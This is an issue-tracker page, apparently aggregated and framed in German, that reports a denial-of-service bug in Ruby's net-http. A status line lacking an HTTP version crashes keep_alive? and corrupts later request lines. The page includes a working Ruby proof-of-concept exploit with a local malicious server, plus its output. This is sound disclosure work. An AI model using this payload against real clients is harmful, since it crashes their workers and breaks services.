A status line without an HTTP version is accepted, then crashes keep_alive? and poisons the client's request framing

Offen
#374 0 Kommentare 0 Reaktionen 0 zugewiesene Personen Auf GitHub ansehen

Maintainer antworten meist innerhalb von 1 Tag

Dieses Issue hat noch niemand übernommen.

Bewertung

Schwierigkeit
2/5
Geschätzter Aufwand
1-3 Stunden
Anfängerfreundlichkeit
55/100
Issue-Typ
Bug
Klarheit
Klar beschrieben
Aktivitätsstatus
Aktiv
Tech-Stack
ruby
Bereich
backend, networking

Rechercherichtung

Start with the status-line parser in lib/net/http/response.rb and the keep-alive logic at lib/net/http.rb:2627; the issue’s reproduction shows a version-less response causes NoMethodError and leaves the client sending malformed request lines. Read the parser and keep-alive code, then run the provided reproduction to confirm the failure. Done means a version-less status line is rejected as a protocol error or handled without crashing or corrupting later requests.

Vom Indexierungsmodell aus dem Issue-Text verfasst.

Beschreibung

About

Title: A status line without an HTTP version is accepted, then crashes keep_alive? and poisons the client's request framing
Repository: ruby/net-http
Location: lib/net/http.rb:2627
Severity: Low
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)

Summary

The parser for the response status line uses a regular expression in which the
HTTP-version group is optional. A response beginning HTTP 200 OK is therefore accepted,
and the response object's http_version is nil. When the request finishes, Net::HTTP stores
that nil as the connection's current HTTP version. The very next keep-alive decision asks
whether the connection version is less than or equal to "1.0", which evaluates
nil <= "1.0" and raises NoMethodError: undefined method '<=' for nil from inside
transport_request.

The exception is not a Net::HTTP protocol error, so the documented rescue clauses cannot
contain it. Worse, the nil version persists on the client object: a later request made
through the same Net::HTTP instance is serialized as GET /path HTTP/ with no version,
which conforming servers reject. One bad response both crashes the current request and
degrades every subsequent request on that client.

Impact

A server, proxy, or load balancer that emits a non-conforming status line can cause a
remote denial of service in any Net::HTTP worker, and can leave the application holding a
client object that sends malformed request lines afterwards. The latter turns a single bad
response into a persistent fault: even after the application catches the crash, later
requests through the same client are broken, so retries and follow-up calls fail.
Applications are not protected by the standard Net::HTTP rescue clauses because the raised
exception is a NoMethodError.

Mitigations

Only servers that deliberately send a non-conforming status line trigger it — real
HTTP/1.0/1.1 servers always include the version, and applications that rescue
StandardError survive (but still get the poisoned client). A correct client should
require the version in the status line (raising Net::HTTPBadResponse for HTTP 200 OK)
or default a missing version to HTTP/0.9/1.0 instead of leaving it nil, so the parser
fails with a protocol error rather than a NoMethodError.

Examples
example 1

A monitoring or scraping job talks to many third-party hosts. A misconfigured origin
returns HTTP 200 OK without a version; the job's worker exits, and the client object it
reused keeps writing HTTP/-less request lines to every later host.

example 2

A load balancer with a broken status-line rewrite injects version-less responses. The
application's health checks and API calls through the affected Net::HTTP object start
failing after the first such response, even where the upstream is healthy.

example 3

An attacker who can run a server that the target application fetches from deliberately
returns HTTP 200 OK to crash the worker; the nil connection version makes the crash
recur on the next request as well.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: a status line without an HTTP version makes Net::HTTP crash with
# NoMethodError instead of rejecting the message.
#
# Bug: lib/net/http/response.rb#read_status_line accepts "HTTP 200 OK"
# (the version group is optional), so res.http_version is nil; end_transport
# stores it in @curr_http_version and the keep-alive decision then evaluates
# `nil <= '1.0'` in keep_alive? -> NoMethodError from inside transport_request.
# The rescued-but-closed connection keeps the nil version, so the next request
# is written as "GET /path HTTP/" (invalid request line).
#
#   ruby version_poc.rb [REPO_ROOT]      (default /src)
#
# Exit 0 means the exploit worked.

REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')

require 'socket'
require 'rbconfig'
require 'tempfile'
require 'net/http'

src = Net::HTTP.instance_method(:keep_alive?).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')

# A live origin that answers every request with a chosen status line and
# keeps a log of the request lines it receives.  Accepts new connections, so
# the client can reconnect after the crash.
def start_origin(status_line, total: 4)
  srv  = TCPServer.new('127.0.0.1', 0)
  seen = Queue.new
  thr  = Thread.new do
    while total.positive?
      sock = begin
        srv.accept
      rescue IOError, SystemCallError
        break
      end
      loop do
        line = sock.gets
        break unless line
        seen << line.inspect
        while (l = sock.gets) && l != "\r\n"; end
        break unless (sock.write("#{status_line}\r\nContent-Length: 2\r\n\r\nok") rescue nil)
        total -= 1
        break if total <= 0
      end
      sock.close rescue nil
    end
  end
  [srv, srv.addr[1], thr, seen]
end

def drain(q)
  50.times { break if q.empty?; sleep 0.02 }
  out = []
  out << q.pop until q.empty?
  out
end

# ---------------------------------------------------------------------------
# 1. Control: a proper status line; two requests, one connection, no problem.
# ---------------------------------------------------------------------------
srv, port, thr, seen = start_origin('HTTP/1.1 200 OK', total: 2)
healthy = begin
  Net::HTTP.start('127.0.0.1', port) do |h|
    h.request(Net::HTTP::Get.new('/a'))
    h.request(Net::HTTP::Get.new('/b'))
  end
  true
rescue StandardError => e
  warn "unexpected: #{e.class}: #{e.message}"
  false
end
thr.join(1); srv.close rescue nil
puts "== CONTROL - 'HTTP/1.1 200 OK'"
puts "   two requests served, worker healthy: #{healthy}"
puts "   request lines the origin saw: #{drain(seen).join(', ')}"
puts

# ---------------------------------------------------------------------------
# 2. Attack in-process: "HTTP 200 OK".  The response object is captured from
#    the request block before Net::HTTP blows up on the nil version.
# ---------------------------------------------------------------------------
srv, port, thr, seen = start_origin('HTTP 200 OK', total: 2)
http = Net::HTTP.new('127.0.0.1', port)
http.read_timeout = 2
version = :never_seen
first_error = second_error = nil
begin
  http.start do |h|
    h.request(Net::HTTP::Get.new('/a')) do |res|
      version = res.http_version
      res.body
    end
  end
rescue Net::HTTPError, Net::HTTPBadResponse => e
  first_error = "rescued #{e.class}"
rescue StandardError => e
  first_error = e
end
# The app catches StandardError and keeps using the client.
begin
  http.request(Net::HTTP::Get.new('/b'))
rescue StandardError => e
  second_error = e
end
http.finish rescue nil
thr.join(1); srv.close rescue nil

puts "== ATTACK - 'HTTP 200 OK'"
puts "   res.http_version: #{version.inspect}"
puts "   first request: #{first_error.is_a?(Exception) ? "#{first_error.class}: #{first_error.message} at #{first_error.backtrace.first}" : first_error}"
puts "   second request: #{second_error ? "#{second_error.class}: #{second_error.message[0, 50]}" : 'no error'}"
puts "   request lines the origin saw: #{drain(seen).join(', ')}"
puts

# ---------------------------------------------------------------------------
# 3. A real worker process that rescues Net::HTTP errors as documented dies
#    on the NoMethodError.
# ---------------------------------------------------------------------------
VICTIM = <<~'RUBY'
  ENV['BUNDLE_GEMFILE'] = File.join(ARGV[1], 'Gemfile')
  require 'bundler/setup'
  $LOAD_PATH.unshift File.join(ARGV[1], 'lib')
  require 'net/http'
  require 'timeout'
  begin
    Net::HTTP.start('127.0.0.1', Integer(ARGV[0])) do |h|
      res = h.request(Net::HTTP::Get.new('/whoami'))
      puts "worker: served #{res.code}"
    end
  rescue Net::HTTPError, Net::HTTPBadResponse, Timeout::Error => e
    puts "worker: handled #{e.class}: #{e.message[0, 50]}"
    exit 0
  end
RUBY

srv, port, thr, = start_origin('HTTP 200 OK', total: 1)
victim = Tempfile.new(['victim', '.rb'])
victim.write(VICTIM)
victim.flush
out = IO.popen([RbConfig.ruby, '-I', File.join(REPO, 'lib'), victim.path, port.to_s, REPO],
               err: [:child, :out], &:read)
status = $?
thr.join(1); srv.close rescue nil
puts '== ATTACK - a worker that rescues Net::HTTPError/Net::HTTPBadResponse/Timeout::Error'
out.each_line { |l| puts "   #{l.chomp}" }
puts "   worker exit status: #{status.exitstatus} (#{status.success? ? 'survived' : 'CRASHED'})"
puts

if healthy && version.nil? && first_error.is_a?(NoMethodError) && !status.success?
  puts 'EXPLOITED'
  puts '  * a version-less status line is accepted and res.http_version is nil'
  puts '  * keep_alive? then calls nil <= 1.0 and raises NoMethodError'
  puts '  * NoMethodError is not a Net::HTTP error, so the worker died'
  puts '  * the nil connection version also yields "GET /b HTTP/" request lines'
  exit 0
end

warn 'NOT EXPLOITED'
exit 1
stdout
== CONTROL - 'HTTP/1.1 200 OK'
   two requests served, worker healthy: true
   request lines the origin saw: "GET /a HTTP/1.1\r\n", "GET /b HTTP/1.1\r\n"

== ATTACK - 'HTTP 200 OK'
   res.http_version: nil
   first request: NoMethodError: undefined method '<=' for nil at /src/lib/net/http.rb:2627:in 'Net::HTTP#keep_alive?'
   second request: no error
   request lines the origin saw: "GET /a HTTP/1.1\r\n", "GET /b HTTP/\r\n"

== ATTACK - a worker that rescues Net::HTTPError/Net::HTTPBadResponse/Timeout::Error
   /src/lib/net/http.rb:2627:in 'Net::HTTP#keep_alive?': undefined method '<=' for nil (NoMethodError)
   \tfrom /src/lib/net/http.rb:2616:in 'Net::HTTP#end_transport'
   \tfrom /src/lib/net/http.rb:2577:in 'Net::HTTP#transport_request'
   \tfrom /src/lib/net/http.rb:2496:in 'Net::HTTP#request'
   worker exit status: 1 (CRASHED)

EXPLOITED
  * a version-less status line is accepted and res.http_version is nil
  * keep_alive? then calls nil <= 1.0 and raises NoMethodError
  * NoMethodError is not a Net::HTTP error, so the worker died
  * the nil connection version also yields "GET /b HTTP/" request lines
Vorherrschende Sprache
Ruby
Sterne
150
Forks
104
Ø Merge
4 T. 6 Std.
Gemergte PRs (30 T.)
10

Entwicklungsumgebung

Dieses Projekt bietet weder Dev-Container noch Dockerfile noch Beitragsleitfaden – die Einrichtung liegt bei Ihnen. Beginnen Sie mit der README; die allgemeinen Schritte stehen in unserem Leitfaden für den ersten Beitrag.

Erste Schritte

  1. Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
  2. Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
  3. Forken Sie das Repository und arbeiten Sie in einem Branch.
  4. Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.

Mehr aus ruby/net-http

Alle Issues in ruby/net-http

Ähnliche Issues

Weitere Issues zu Ruby

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.